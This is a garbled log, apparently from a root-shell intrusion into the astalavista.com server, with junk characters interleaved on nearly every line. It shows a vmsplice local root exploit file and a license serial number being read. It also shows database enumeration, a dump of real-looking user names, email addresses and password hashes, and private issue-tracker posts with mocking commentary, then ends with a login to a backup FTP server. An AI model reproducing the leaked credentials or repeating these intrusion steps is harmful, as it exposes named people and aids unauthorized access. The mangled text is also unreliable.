' U$ h5 `& j4 B0 J* U$bfkey = ‘cXvB3981′; // Encryption/Decryption Key for Blowfish
1 S0 C% K/ G7 p, ]?>8 a/ P' N. o; M
% g( }7 T3 I) K0 b1 N: P8 tsh-3.2# cd ..% F- o2 N6 }1 Y' j
sh-3.2# cd com# `( y$ i7 s+ e$ a' H- M4 C
sh-3.2# ls -la
4 h+ O$ u; [% k# Ftotal 1412089 p; Q9 u q8 d& o) Z* l( \
drwx–x–x 10 com com 4096 Apr 28 12:40 .& f# n# s5 k; R
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
; }& ^ z2 r# v j/ Z3 e/ xdrwx—— 2 com com 4096 Jun 4 04:04 backups
# o- q0 I6 r4 a; a$ ~-rw-r–r– 1 root root 2419504 Sep 28 2007 backup.sql
4 `" f" C% z Z- C9 C+ edrwxr-xr-x 2 com com 4096 May 12 15:20 backup_system9 k6 w( _/ W4 `: U3 o W
-rw——- 1 com com 21880 Jun 2 08:07 .bash_history
. i( U. _- { z-rw-r–r– 1 com com 24 Sep 24 2007 .bash_logout
3 O" p U5 g4 g/ T-rw-r–r– 1 com com 176 Sep 24 2007 .bash_profile
; G9 x- @& Y X& w" t3 f1 b: \6 V-rw-r–r– 1 com com 124 Sep 24 2007 .bashrc* s- r8 D2 t, f: R& n N3 E5 H
drwx–x–x 3 com com 4096 Jan 29 2008 domains
: j( f! O" C( s5 e9 _-rw-r–r– 1 com com 16409 Jul 16 2008 FWUser.class.php.fixed! k+ ?. \# v2 N8 ^/ E! d
drwxrwx— 3 com mail 4096 Jan 6 19:24 imap
+ h* s7 _4 i! ?- ~1 M5 E- v-rw——- 1 com com 69 Nov 18 2008 .lesshst% k( X5 Y' o: x; K+ f
drwx—— 2 com com 4096 Sep 24 2007 mail6 y! N! G, X0 d/ i: q1 w( T
-rw——- 1 com com 13970 Mar 28 21:42 .mysql_history
% K2 J5 Q* \; @$ `9 c' ~4 sdrwxr-xr-x 2 com com 4096 Aug 20 2008 .ncftp8 z |$ H7 ^' Q! x
lrwxrwxrwx 1 com com 37 Sep 24 2007 public_html -> ./domains/astalavista.com/public_html3 n5 t- ^# o: X' \. Y% }
-rw-r—– 1 com mail 34 Sep 24 2007 .shadow
! d3 c6 X' P! x# q7 cdrwx—— 2 com com 4096 Aug 26 2008 .ssh
; ?" y5 M5 U7 @, Z _6 C& }- O2 ]-rwx—— 1 com com 8515 Feb 10 2008 t* g) G; z \% f3 J n9 z, S$ M
-rw-rw-r– 1 com com 6265 Feb 11 2008 t.c: \2 C3 w N4 ]0 W2 o
drwxrwxr-x 2 com com 4096 Jan 30 15:47 tmp" x' @$ T+ ^2 U
-rw-rw-r– 1 com com 617 May 20 2008 .toprc" G1 o3 O. \* j! `; R+ b' X
-rw-rw-r– 1 com com 141851766 May 19 2008 version2-backup-20080519-0900.sql$ c( K4 H# ~6 e
-rw——- 1 com com 16629 Mar 28 21:46 .viminfo
, j/ Z/ r4 G# N$ R- B-rw-rw-r– 1 com com 51 Aug 25 2008 .vimrc
( l+ O2 T, K* m1 b8 S* F
( B! ?* P% q2 t8 |4 I- ksh-3.2# head t.c
" O: C( H3 q9 |, n% Z' L5 _* `: T/*# o2 k7 J6 y. H" T, M
* jessica_biel_naked_in_my_bed.c; t+ U: y% A- n* _
*
+ ?" F9 j4 K# X" c3 I* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
8 E. e ]! E, S( N8 P, q- S* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca., w* { F+ I% g6 N% N- W) y
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
& y4 {* G$ j, E* C7 B& n*
1 U% @/ w2 M5 Z6 `7 [* Linux vmsplice Local Root Exploit M& Q) O) ~6 D9 T% l0 T, q' p( M/ Z
* By qaaz& f9 M' X, {( H
*
% e7 V; P' f6 y: X, r. Y$ Q. ^! C4 ^- B/ [: b9 N M/ d- B1 h; x9 s
sh-3.2# cd /, Z' \9 }: _: g/ \
sh-3.2# ls -la) J! H. E. F% g
total 3607 G& V& E" S0 Y) f1 d, N7 w, q6 `
drwxr-xr-x 25 root root 4096 Jun 3 02:43 .; Z, i5 O6 `! V8 V. \
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..; _5 q/ K! P+ s) U& C4 U
-rw——- 1 root root 10240 Jun 3 02:39 aquota.group
: L1 t- C" j) g+ T) H) V-rw——- 1 root root 10240 Jun 3 02:39 aquota.user$ H5 ]" H- C; \; M
-rw-r—– 1 root root 819 Jul 17 2008 astalavista.us.db
9 m" w5 `! g# q- z-rw-r–r– 1 root root 0 Jun 3 02:43 .autofsck( h0 X/ J- q8 Q6 c( W+ u
-rw-r–r– 1 root root 0 Sep 16 2007 .autorelabel
! D" T2 g4 B* i/ D& R! kdrwxr-xr-x 3 root root 4096 Dec 29 2007 backup
7 Y0 ^& C5 d0 ?drwxr-xr-x 2 root root 4096 Jun 4 04:03 bin' ^/ T# o1 f4 |# l7 Z/ q/ `. R
drwxr-xr-x 5 root root 4096 Jun 2 14:06 boot2 y" N a2 q" P8 U# S$ n3 l1 y
drwxr-xr-x 11 root root 3620 Jun 3 02:43 dev+ Q9 a1 c6 M' ~% l5 q) a9 y2 e8 r
drwxr-xr-x 84 root root 12288 Jun 4 03:16 etc
$ x1 M: A+ H; f1 Vdrwxr-xr-x 14 root root 4096 Mar 11 17:56 home
" W8 B& }& O7 o8 K+ ?; V/ R1 ?-rw-r–r– 1 root root 13387 Mar 20 2008 httpd.conf9 n( A" H8 S& m e" S& ~
drwxr-xr-x 11 root root 4096 Jun 4 04:02 lib
! G5 y, ]+ J! T* Y$ Q6 d* |4 Q2 |4 Wdrwxr-xr-x 7 root root 4096 Jun 4 04:03 lib640 B" v( A l) X8 V8 U; B+ ]
drwx—— 2 root root 16384 Sep 11 2007 lost+found$ Z5 x; h) @3 P0 S. R3 m9 k
drwxr-xr-x 2 root root 4096 Mar 11 17:56 media; s1 o' @2 W+ Z' @3 _# `. _5 M
drwxr-xr-x 2 root root 0 Jun 3 02:43 misc3 X" Z4 e% C4 J- U7 q
drwxr-xr-x 2 root root 4096 Mar 11 17:56 mnt
0 A: x3 b1 j' I% R' d/ v: M, ?-rw-r–r– 1 root root 5859 Feb 3 2008 mrtg.cfg
1 g7 j0 ~7 V/ a8 ddrwxr-xr-x 2 root root 0 Jun 3 02:43 net; n9 M C7 g# q6 F/ @- ~, h
drwxr-xr-x 3 root root 4096 Mar 11 17:56 opt4 f* u$ g @& ~
dr-xr-xr-x 264 root root 0 Jun 3 02:42 proc) t, k1 S: v: w6 o* \4 X
drwxr-x— 15 root root 4096 Jun 4 08:40 root( a; Y( `4 ?7 t# `; R: A$ `
drwxr-xr-x 2 root root 12288 Jun 4 04:03 sbin
' O2 ]6 T8 _2 z- }3 L# y8 Q7 v A8 ndrwxr-xr-x 2 root root 4096 Mar 11 17:56 selinux0 r5 y9 `, E$ G% C
drwxr-xr-x 2 root root 4096 Mar 11 17:56 srv+ b U ^/ |: _; t' k' p; D6 S
drwxr-xr-x 11 root root 0 Jun 3 02:42 sys* T/ V; b/ [) D) n8 b; J5 }5 x
drwxrwxrwt 4 root root 122880 Jun 4 10:35 tmp1 P2 @/ C+ r/ J6 Z$ a& M6 t
drwxr-xr-x 16 root root 4096 Jun 2 13:56 usr
3 p* X F9 C& ]/ I+ _drwxr-xr-x 26 root root 4096 Jun 4 03:16 var
9 G2 l6 j6 b- R7 m. I0 T( W
# R. u* _2 q6 Bsh-3.2# cd opt/ r4 J6 w0 x2 e- T7 d
sh-3.2# ls -la# b: Y& [8 y9 C7 T
total 20* f, z# V* M! c* d1 j7 U6 f
drwxr-xr-x 3 root root 4096 Mar 11 17:56 .
2 b$ z# z0 n9 J4 J) ~6 b- Sdrwxr-xr-x 25 root root 4096 Jun 3 02:43 ..: N4 Y0 o' Z7 ~' b9 O3 }( d( {
drwxr-xr-x 15 root root 4096 Mar 20 2008 lsws3 p7 w" K! d9 d+ \
+ U7 L- j- Z. ? }2 v$ Xsh-3.2# cd lsws/1 |9 H6 [/ W Z+ i- D1 P2 I
sh-3.2# ls -la
# O0 x& N% b2 N. a" o: vtotal 108
1 g! |6 e$ \* odrwxr-xr-x 15 root root 4096 Mar 20 2008 .8 C1 V8 v# O/ T
drwxr-xr-x 3 root root 4096 Mar 11 17:56 ..
5 O0 Q! d; q+ D$ T! @drwxr-xr-x 8 root root 4096 Mar 20 2008 add-ons. }! `! v# D+ o# C" F
drwxr-xr-x 13 root root 4096 May 29 15:10 admin+ `+ W+ S4 y- x% g
drwxr-xr-x 5 apache apache 4096 May 29 15:10 autoupdate, Z! ~0 t) Z( L. Q0 x5 N
drwxr-xr-x 2 root root 4096 May 29 15:10 bin7 r+ ]! d" m+ ^* V$ c4 h
drwx—— 4 apache apache 4096 Jun 3 02:43 conf( w) E5 ]' f5 _, V
drwxr-xr-x 7 apache apache 4096 Mar 20 2008 DEFAULT, _2 Q. z) M& u* Z0 u
drwxr-xr-x 2 root root 4096 Sep 15 2008 docs5 S5 ?9 x6 u4 K6 \ Y7 c: Y
drwxr-xr-x 2 root root 4096 May 29 15:10 fcgi-bin- y. \# j$ L) W" E, x! w3 z
drwxr-xr-x 2 root root 4096 Sep 15 2008 lib; K) `. M2 T/ W+ N8 ~- j+ q, P
-rw-r–r– 1 root root 6959 May 29 15:10 LICENSE: X) L9 n7 {2 v& e" _3 W4 j
-rw-r–r– 1 root root 2214 May 29 15:10 LICENSE.OpenLDAP3 s* O; I h) W) h
-rw-r–r– 1 root root 6279 May 29 15:10 LICENSE.OpenSSL
2 G7 r* f/ ^6 w2 P6 q) ^-rw-r–r– 1 root root 3208 May 29 15:10 LICENSE.PHP& x! {5 n- N1 l6 J/ ^2 c) i s$ K
drwxr-xr-x 2 root root 20480 Jun 4 09:55 logs
) m# X: y5 G, |+ X/ n% edrwxr-xr-x 2 root root 4096 Mar 20 2008 php; _, F) j1 ~7 i/ |1 L* ~
drwx—— 2 apache apache 4096 Mar 20 2008 phpbuild+ {4 j$ B; n3 Y$ `6 G; J
drwxr-xr-x 3 root root 4096 Mar 20 2008 share! P, Q4 e# N, r9 `( ?. P6 l0 b
-rw-r–r– 1 root root 6 May 29 15:10 VERSION
$ x5 s/ a# V8 y: V8 x3 P- N, U3 j2 B. F
sh-3.2# cd conf0 }& w8 F7 ]: O
sh-3.2# ls -la* I& s" M, x, ^4 D+ t: y
total 48
+ x, u( ]5 s5 J8 r2 Mdrwx—— 4 apache apache 4096 Jun 3 02:43 .
+ w4 Z' ?5 w- X- J# Adrwxr-xr-x 15 root root 4096 Mar 20 2008 .." s9 t" f0 n0 ^
drwx—— 2 apache apache 4096 Mar 20 2008 cert1 T M, Z) M" t% t% O% @5 b
-rw-r–r– 1 apache apache 6668 May 29 15:13 httpd_config.xml- D/ L2 ^7 z9 S
-rw——- 1 apache apache 6613 May 27 18:33 httpd_config.xml.bak6 x9 m8 s: r8 T' w% ^$ c
-rw-r–r– 1 root apache 0 Jun 3 14:11 .last- X! y& K8 N. W6 p
-rw——- 1 apache apache 256 May 29 15:10 license.key
/ P1 }- u2 W J/ \-rw——- 1 apache apache 256 Mar 21 2008 license.key.old3 M; x% {1 i) c; n; t
-rw——- 1 apache apache 3320 Mar 20 2008 mime.properties
, k+ G' y( E4 N; _7 q% l: D-rw——- 1 apache apache 20 May 29 15:10 serial.no
6 N* s, Z6 U: h( V9 l' M0 w0 G; Udrwx—— 2 apache apache 4096 Mar 20 2008 templates `2 ?% _" c' q; l A
8 @3 w1 Q3 m& s( U0 m/ {: B
sh-3.2# cat serial.no: {! h1 a- r, G
IbDl-oVsO-CKqL-wVRa) u/ m) n7 o+ Z
: {6 H9 y# Z/ N4 i3 Csh-3.2# mysql3 G! l. F: b/ `5 j& O: e, t, a
Welcome to the MySQL monitor. Commands end with ; or \g./ r6 @( B& p" R/ n) H7 @7 R
Your MySQL connection id is 286844: a' Z' w2 q x e5 A. A
Server version: 5.0.45-community-log MySQL Community Edition (GPL)
; G1 }2 J& \0 {+ x/ L" F2 o/ a6 [; T" @
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
/ E* t4 M; T" [- z) [! l( c0 I8 r& a. \ j
mysql> show databases;( l# V+ ~6 L1 s# v2 @# C2 j
+———————–+
, t2 y# G; a" @; u4 V9 o| Database |
7 W4 O# M; {# r) H) C( r0 ~2 W+———————–+
7 y: H! F, l- c5 M| information_schema |
9 D* S( ]. k) W! g- Y; X& I| astanet_ads |9 p* E7 P6 Z6 J( P
| astanet_mailing_lists |4 E o7 j: o0 d
| astanet_mediawiki |3 |. c; {3 v' [; p
| astanet_membersystem |
, f! m$ i1 ]! a0 s| com_contrexx |: [; ~" s6 A1 C G* \" n( d- f
| com_contrexx2 |" ^2 L) w! p* T' O; Y6 e [/ X4 P
| com_contrexx2_live |
0 R% }; w% e3 t| da_roundcube |
; L7 J( D* @# k# E3 R* d& s| dolphin |3 r, j2 L0 a \3 d- C
| ideapool |( T! l- N* n8 g4 n0 m
| mysql |
( o8 K9 |" i& c& j6 O' H| test |
: M. i. Q7 L" |/ u; W& B5 k| yourmaster |
8 L: V( L+ |7 k0 G9 z) d, s+———————–+5 D4 p, k- h+ U
14 rows in set (0.00 sec)
% K \0 A5 [, ^! V
# k8 w2 |& l' i0 ^/ f+ W3 zmysql> use ideapool
]0 l7 T @& r0 R! d: MDatabase changed
% n) q$ a6 O, ?/ E. rmysql> show tables;$ \! @) F, P" O% L% }' E: L
+———————————–+; k$ m2 |7 z/ l2 `! Y4 b+ Y+ ^: _
| Tables_in_ideapool |7 M$ B+ M% E) V5 B( l
+———————————–+4 }7 G/ F% E F1 U1 a
| eventum_columns_to_display |0 W3 _2 w& O- ^1 T" ^1 ]
| eventum_custom_field |& D- h+ w, T0 k0 J0 F: V* S
| eventum_custom_field_option |
' ~! n9 D* `" Y: v6 R1 W- X| eventum_custom_filter |. q6 a" w0 F5 }1 h/ L2 b6 X
| eventum_customer_account_manager |4 q0 `0 D" ?) Q7 _( w
| eventum_customer_note |) \6 }* U. u- W
| eventum_email_account | m; M0 a4 h9 L' G. x- Q( u9 H# Y
| eventum_email_draft |) l7 I) v7 m0 j! t9 q& F
| eventum_email_draft_recipient |
. e) ?! G+ j( Z* j4 [& v* x9 x| eventum_email_response |
; U& t, m7 _; q| eventum_faq |
* P, { s8 f+ C! ] k" y, P, Y| eventum_faq_support_level |
% u o' N, m l- V4 T. D| eventum_group |
5 T6 y2 e C! N| eventum_history_type |
8 o5 s: h, M! b% Y" I% ^| eventum_irc_notice |
4 j6 k j' T3 P7 p6 T; \* g X| eventum_issue |, P* C/ X1 _ M5 y# W1 g! \
| eventum_issue_association |) v X8 Y# r) F# }; Q
| eventum_issue_attachment |
( E5 N0 q$ g1 d6 I6 | ?0 U2 || eventum_issue_attachment_file |
% m% w) H% i* U/ t k0 r6 F" x| eventum_issue_checkin |- A$ r) Z9 i9 j( ]1 G
| eventum_issue_custom_field |7 }- [( K# L ]% q4 ?* c! F s
| eventum_issue_history |
( a5 m% F: D; p% g" f| eventum_issue_quarantine |% _7 v' F# A0 |
| eventum_issue_requirement |
P$ |0 y; n8 ?# w+ Y7 Z7 _| eventum_issue_user |
% `7 \* X3 M) X+ B8 g| eventum_issue_user_replier |
- x$ w `8 h6 v| eventum_link_filter |
8 y6 y4 p5 S* x* R) Q# N| eventum_mail_queue |
, ~1 k8 {3 k/ L1 V8 h: V X| eventum_mail_queue_log |
, v5 ]4 {; n: B8 y+ i$ l| eventum_news |
' ]- y; N& t, H3 `0 ]. Q: c| eventum_note |
" _& P5 I# I6 C: D. s| eventum_phone_support |2 K) @4 p" g5 Z, w9 {; t. k
| eventum_project |4 d# @* U' X5 y" m5 H' h
| eventum_project_category |
! A- H( M M+ a+ {; W- J. r S| eventum_project_custom_field |$ `4 M. _" M+ p9 a- o) O) I4 n
| eventum_project_email_response |5 g3 f& n4 D4 C) M
| eventum_project_field_display |
9 F/ W& O2 b; g5 ~2 p l" l6 c| eventum_project_group |
; s/ k1 s; o7 G| eventum_project_link_filter |
9 y6 ^! J$ z- ?6 w| eventum_project_news |5 T3 ]( g8 G. n# l- E
| eventum_project_phone_category |* D9 v+ T1 R k, u7 n% a) l: _
| eventum_project_priority |3 v- z! h3 R( U# V6 O2 r* n' s9 J) I
| eventum_project_release |
- P. L+ ~$ y3 v2 [| eventum_project_round_robin |2 y' {7 |' W- W) e' y3 [
| eventum_project_status |
1 J; C5 w. N: Z. b| eventum_project_status_date |
" u: Z% f. Z8 h+ d' g4 g| eventum_project_user |
A* p' I4 f. t$ y$ u7 l| eventum_reminder_action |
8 o: [6 r: s) D; X- S| eventum_reminder_action_list |
! ]# Z7 F2 V* T6 K5 d1 l; v| eventum_reminder_action_type |
9 e2 i2 k/ P+ L/ c! X3 q| eventum_reminder_field |7 Q8 t6 O6 X% L" c/ j
| eventum_reminder_history |
& |' d4 _/ H" |* z" I* Z% u! ^8 U| eventum_reminder_level |
. `9 R& v( f7 S/ S5 W| eventum_reminder_level_condition |, M* z$ D! T& Z% v3 }1 i3 ~
| eventum_reminder_operator |
# W, P/ m( z8 H! y9 J! w! y$ X| eventum_reminder_priority |2 \+ {# B N, o3 G z* g* x1 l
| eventum_reminder_requirement |
5 a% ?8 H; q# }- [" X2 o| eventum_reminder_triggered_action |
, {# r( l) F6 Y& ? s| eventum_resolution |
1 n( F3 C! \9 _- _+ B0 |( i J& B1 }| eventum_round_robin_user |
5 ^( j5 \9 Q2 i| eventum_search_profile |* e+ ?4 o/ A( J* c
| eventum_status |
) c9 @. v( b* l N| eventum_subscription |
7 X0 f$ v5 f% N3 f| eventum_subscription_type |9 S* b' S* M Z* J) ^1 L
| eventum_support_email |
" U! @7 Z% s1 k| eventum_support_email_body |
$ @, `- w" o% G( G) P| eventum_time_tracking |
' K6 l! @: x6 c| eventum_time_tracking_category |# U( O- R" T" G' f
| eventum_user |4 d. W. k- R! V2 j( ?% ^2 E
+———————————–+
- x# L& r6 q: {/ k$ b1 ^( y69 rows in set (0.00 sec)) q5 |# E3 [8 B" P9 l1 v. C. _
5 q. M' w6 m% Z0 L9 q" d3 q+ Z
mysql> describe eventum_user;
B! ~, R1 n7 A+ q' k I+————————-+——————+——+—–+———————+—————-+1 J$ }+ M: }/ A0 q$ W( R* h7 H
| Field | Type | Null | Key | Default | Extra |/ u6 @$ B& e) C
+————————-+——————+——+—–+———————+—————-+1 M* Z6 u ^9 ^
| usr_id | int(11) unsigned | NO | PRI | NULL | auto_increment |
/ t I# P. q- |& g- }* y| usr_grp_id | int(11) unsigned | YES | MUL | NULL | |. C/ i. L( r7 O3 X# l
| usr_customer_id | int(11) unsigned | YES | | NULL | |' f7 ~" u2 T$ u$ F7 m, k
| usr_customer_contact_id | int(11) unsigned | YES | | NULL | |8 I! s% w( p; x R- j' E
| usr_created_date | datetime | NO | | 0000-00-00 00:00:00 | |
; b5 e4 z( o9 N2 F7 E- e| usr_status | varchar(8) | NO | | active | |+ R( [7 I0 d& u+ R
| usr_password | varchar(32) | NO | | | |
, |! D4 Z/ E. D7 k9 N' W! |$ V| usr_full_name | varchar(255) | NO | | | |$ T% q2 D( l U
| usr_email | varchar(255) | NO | UNI | | |( U: R a5 _8 R% t5 f4 m
| usr_preferences | longtext | YES | | NULL | |
" w2 {2 ^1 @, R( Y) E| usr_sms_email | varchar(255) | YES | | NULL | |
8 v& x. y$ L. X+ y4 D) X| usr_clocked_in | tinyint(1) | YES | | 0 | |" Y3 s* S6 \8 n7 R# U" o3 n6 d7 z
| usr_lang | varchar(5) | YES | | NULL | |- j+ ~: v! _0 ?
+————————-+——————+——+—–+———————+—————-+- r, }% j) W( J+ T) [
13 rows in set (0.00 sec)% v# J$ S/ N" V! H
3 ]$ n4 g* A9 h+ a5 Z* d
mysql> select usr_full_name,usr_email,usr_password from eventum_user;
4 N/ U' K' C: x. m: Y. V' q \. I+———————-+——————————-+———————————-+3 N) l% P. s9 j
| usr_full_name | usr_email | usr_password |" D% j4 k- Q& S) y' p
+———————-+——————————-+———————————-+
5 ?; Z8 y! S4 a% C8 A. g& ?| system | 链接标记system-account@example.com | 14589714398751513457adf349173434 | A/ O* Q* P8 [6 c7 Z/ [; z
| Developer (Paulo) | 链接标记paulo.santos@astalavista.ch | 26a35a1cf8895c27fb37ef4cf149f7bb |
' p: i; m9 j* b8 a/ A. O3 Z ]| Be1er0ph0r | 链接标记be1er0ph0r@gmx.de | 229766dc0ca1fb67160a8782321dfdce |, ?- t2 ^/ H+ K# ]7 Y0 X, x9 e, G) A% ?
| Admin | 链接标记pascal.mittner@astalavista.ch | 57c2877c1d84c4b49f3289657deca65c |
3 d6 D& y, P: `! t. T0 L8 R| ADMIN | 链接标记admin@astalavista.ch | f6fdffe48c908deb0f4c3bd36c032e72 |3 W! N) P2 M# N$ F. ?9 N
| USER | 链接标记user@astalavista.ch | 5cc32e366c87c4cb49e4309b75f57d64 |. {: b. y0 y/ W$ V& X- F
| Glafkos - (nowayout) | 链接标记glafkos@astalavista.com | f7735ab119023a8abb2301e67f81cd67 |9 Q6 p/ k- l: d3 F* Y
| Joao | 链接标记joao.pontes@astalavista.net | f805c071d7c823b937448c54c047b9fd |
5 R! d m% D) Q5 @| Pascal | 链接标记pm@astalavista.ch | e10adc3949ba59abbe56e057f20f883e |& O/ H# h7 G5 Q h
| commander | 链接标记commander@astalavista.com | 932cd250918f881d41feb0b93883a926 |% o# N8 s* K- Q% X/ Q z% ^0 z1 M
| ishtus | 链接标记ishtus@astalavista.com | a587ffc88b3dbbba3fd2fe67af649ff0 | L9 `- L0 Q& R3 g
| sykadul | 链接标记sykadul@astalavista.com | 20224a2f3eeb57a13a10b4df543c128e |$ x8 g; m. U/ w) a
| Zach McElroy | 链接标记admin@badfoo.net | 33c5d4954da881814420f3ba39772644 |
+ v/ t }# [7 k7 E/ v| usb | 链接标记usbenigma@hushmail.com | b513f22c3db6932855ad732f5f8a10a2 |* M: u# J- ~- d6 Y- i
| cyph3r | 链接标记cyph3r@astalavista.com | 6e1e50017a945e874d52ec91f9ab2cee |+ d- B8 ?; T0 i" K. |
+———————-+——————————-+———————————-+
j q, n# ]) m* p0 G15 rows in set (0.00 sec)/ |3 @ x# Q+ B& h6 m
8 B* v; X5 D6 {* j3 Dmysql> select iss_description from eventum_issue where iss_id = 43; z# r( i9 P, i& T$ P, ~$ \
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+- y% m8 l! Q6 v
| iss_description
2 Y- ~! J+ {, s |) H: \|: o- T9 ^- l. U+ T! O& K" V% _$ ~
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-++ z5 y" ^0 y5 {1 M; G- p- \
| Ok guys, to boost our traffic and revenue what we have to do is keep users logged in… how to do that? well think about it… if a user is watching a movie… he’ll be$ V* X `$ V6 Z r1 I# r" L
connected for 90 mins… 120mins… so what i propose is something like:
. n) T# E' c* `8 X7 R) i) r( m( \4 c链接标记[url]http://www.surfthechannel.com/[/url]" `6 a3 Z/ i5 O1 O, R4 I+ ^
since they only provide LINKS to the movies they are LEGAL and don’t break DMCA rules… so we could do the same… “iframe” the content on our website or use a system
5 l1 v+ W7 z6 i) g& Ulike podcast that uses our own flash player to stream content from other places, therefore the content NOT BEING HOSTED ON OUR SERVERS but only viewed… which doesn’t B; g( M& q3 [% C( ]/ G
break any laws as far as i am aware (we should research on that just to be sure though!) Of course we would have to provide users with the button to take the content off
4 X1 b. B: j8 e Fif they think it breaks copyright laws and we will remove it… i think that makes it on the border of DMCA…
% J( ?6 ~# n8 _- b+ m& i* X- H0 N" [: j7 X5 y6 F
We could also put advertisement during play on the flash video player itself… extra $$…# N1 T3 r8 z& Z
# y. T. L. |% l1 ~" J- Q4 D1 [1 o6 hBy sykadul |$ o! M- S% E& a! N
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+9 c( R4 L- s7 S( Y% ^
1 row in set (0.00 sec)3 l- H' N7 l4 w# Y
. g1 N. @/ R" u1 g+ |! ~// Money and extra $$ is all they care about. remember that. q' z) {; m$ v6 z
3 O/ R( w: \ o1 ~mysql> select iss_summary,iss_description from eventum_issue where iss_id =42;
1 ]( F$ n* x8 F# G$ J7 g+————————+——————————————————————————————————————————————————————————————————————————————-+
% w8 k/ R( [; E- `| iss_summary | iss_description
; i$ U+ ]7 H7 \2 Y; _4 T h; i|" `7 L, T4 `8 r" G' ~$ k
+————————+——————————————————————————————————————————————————————————————————————————————-+$ F, D0 }$ l6 y6 Y
| Forum for REAL EXPERTS | Hello,4 l% N5 y2 z( E/ p, D
5 _" N3 O& \5 MIshtus and I,. r' C. {% R9 k6 K
. r2 C8 I5 B( K
Came up with a crazy and very workable and professional idea. We create an invitation only forum with the BEST security experts worldwide
) _- H- ]! Q0 B* d# N+ q) K8 l( ^ONLY. Security Experts from Bugtraq lists, exploit writters, reverse engineers etc..4 S3 u& M! x$ z8 O( _, d
. T8 N* K2 H! N# f1 B+ |( t
One example a friend of mine from coresecurity.com!- T8 k' ^' A- s) U6 n* |
/ F+ i& l- E; T0 s1 B3 ]
We could have big projects etc.. and we can work all together to bring to the security community exploits, open source software etc..
, [" K) @# \, f: f
4 m4 F( |* [/ l8 p. b6 L$ D1 y5 {|
! v; [1 w/ I4 h' v) a+ s. _' D$ d+————————+——————————————————————————————————————————————————————————————————————————————+
* ]& c) ]3 a9 x f) d" I# i0 w1 row in set (0.00 sec)8 \' T2 v' H g$ d
$ o5 e( y. f4 m; h y& E7 M
// What an awesome yet original idea Ishtus and him… bring MORE security “experts”, thats exactly what the world needs…- P, c8 ~2 X5 O) x. G! c
8 e' S3 I* W% Xmysql> select iss_summary,iss_description from eventum_issue where iss_id = 16;$ n0 H6 ^" q& D1 x1 H2 z
+——————+———————————————————————————————+* A9 V/ G, O: W
| iss_summary | iss_description |
! q6 g5 P( o" |" t# Z+ ~: H: K a+——————+———————————————————————————————+/ r8 J( s% ]! r. P5 f# b
| Website guidance | Virtual Girl which guides you trought the website.
4 H3 B/ [1 Y a( x7 a. w# ~8 \ r5 ^. `0 Q3 D7 i2 Z/ a; t, Z
We need a girl with who you can ( talk )!!!
& k. P' Q P2 B3 T/ `Also for the News!* B8 i0 \6 V* p6 _/ r
So my suggestion is a girl who read you the news loud if you like!" u- P3 z; r1 J! E4 S& i/ A
you can choose between read yourselfe or she read it for you or both!
! S6 V o* `# ~* v* g
( V" g* I- I. _" SGo to 链接标记[url]www.heise.de[/url]! There is an example for Voice News! It’s a good thing!!!
3 O# A+ f3 } G3 g1 f, x; J6 s; T0 O) m) t0 Q5 X6 h
Have a look on the example girls!!( M9 k2 K5 ?: R8 l! a7 l) y6 l
* t3 `6 B/ G4 p# l' O1 d! x& {: J
链接标记[url]http://www.yaoti.com/de/free_yaoti.html[/url]
: Y& F0 X, }; U0 j- f/ i
/ M* X7 N5 d1 M* \8 w: l1 for that
( p. o( [3 u- \7 m$ ~0 O
0 h* U1 m5 s8 H7 @. o2 G/ d链接标记[url]http://www.yellostrom.de/[/url]
q/ W5 M I4 v
+ J) e: s- E" t) a|& O, ?/ l, j+ Y* q; V
+——————+———————————————————————————————+9 j% Z' M; S) D5 ?2 X ^& ?
1 row in set (0.00 sec)
/ {7 K2 a3 g6 n# k( Z; `/ ]; l) R. M, L B- Y4 u7 Z7 t
// ha ha. p+ k* j& q5 T$ Q# [1 m: l* n. C
9 U& K! v5 S9 o' U. h3 lmysql> select iss_summary,iss_description from eventum_issue where iss_id = 7;+ k. T6 i# _; w3 U5 v8 z
+————————–+———————————————————————————————————–+
/ D- P) z3 D3 b2 c| iss_summary | iss_description |* k+ o& b& W7 A
+————————–+———————————————————————————————————–++ X6 H5 s! n& f9 M
| Exploit Development Team | We need an exploit development team to focus on exploit research and publication under Astalavista name. |
* I4 _& a( Z: C+ j- }+————————–+———————————————————————————————————–+
3 C+ I& z# F8 |5 L i* l8 p. o1 row in set (0.00 sec)
6 i! @8 s1 A1 G" Q7 l9 p) V6 C( ~; l+ O0 {/ R
// LOL.
1 J! }$ d- ^: k: p' E2 a. O
8 d* \! u8 w8 J5 wmysql> exit/ u2 k7 p+ n8 s6 H4 J$ T2 g
Bye! f* ~) d c( M; e' K1 H
& W) |# u1 c- e* K
sh-3.2# ftp 212.254.194.163
: B) C8 ?; A& n- L' {. aConnected to 212.254.194.163.
$ E8 {% t \% Z- z! X6 b220 BackupCOM_VW FTP server ready.! g5 R: @' M; s, I8 C B# b( r
504 AUTH: security mechanism ‘GSSAPI’ not supported.
5 e* n) v, a, e: K* c! F3 Q S) i504 AUTH: security mechanism ‘KERBEROS_V4′ not supported.! z7 H' O6 w/ b( Y. @
KERBEROS_V4 rejected as an authentication type
# v6 S1 Z7 T+ L: {Name (212.254.194.163:root): astalavista.com
' s" l- P. y5 s) ^% r331 Password required for astalavista.com. j# x! f/ C( r8 |5 T
Password:$ I: `' q( l" ~6 r" P
230 User astalavista.com logged in.* [& S1 P3 e( J
Remote system type is UNIX., D% c7 g) E- [3 T, S& C
Using binary mode to transfer files.2 c/ B4 w: V; ]2 Z
ftp> ls -la
' i: a' g, x# U v# {3 T227 Entering Passive Mode (212,254,194,163,2,188)
" z2 \3 j3 R6 z$ Q3 w. o* N2 T150 Opening BINARY mode data connection for ‘file list’., O1 M' r) U; ^( K1 }
dr-x—— 1 root users 4096 Jun 4 06:13 astalavista.com6 x9 W; ?- |1 y
226 Transfer complete./ I% Y2 z: y; V: j' l' F
ftp> cd astalavista.com
, S* B% ~0 e" D. h- J; r250 CWD command successful. o& p7 `7 S& J. C9 v1 n- j' U
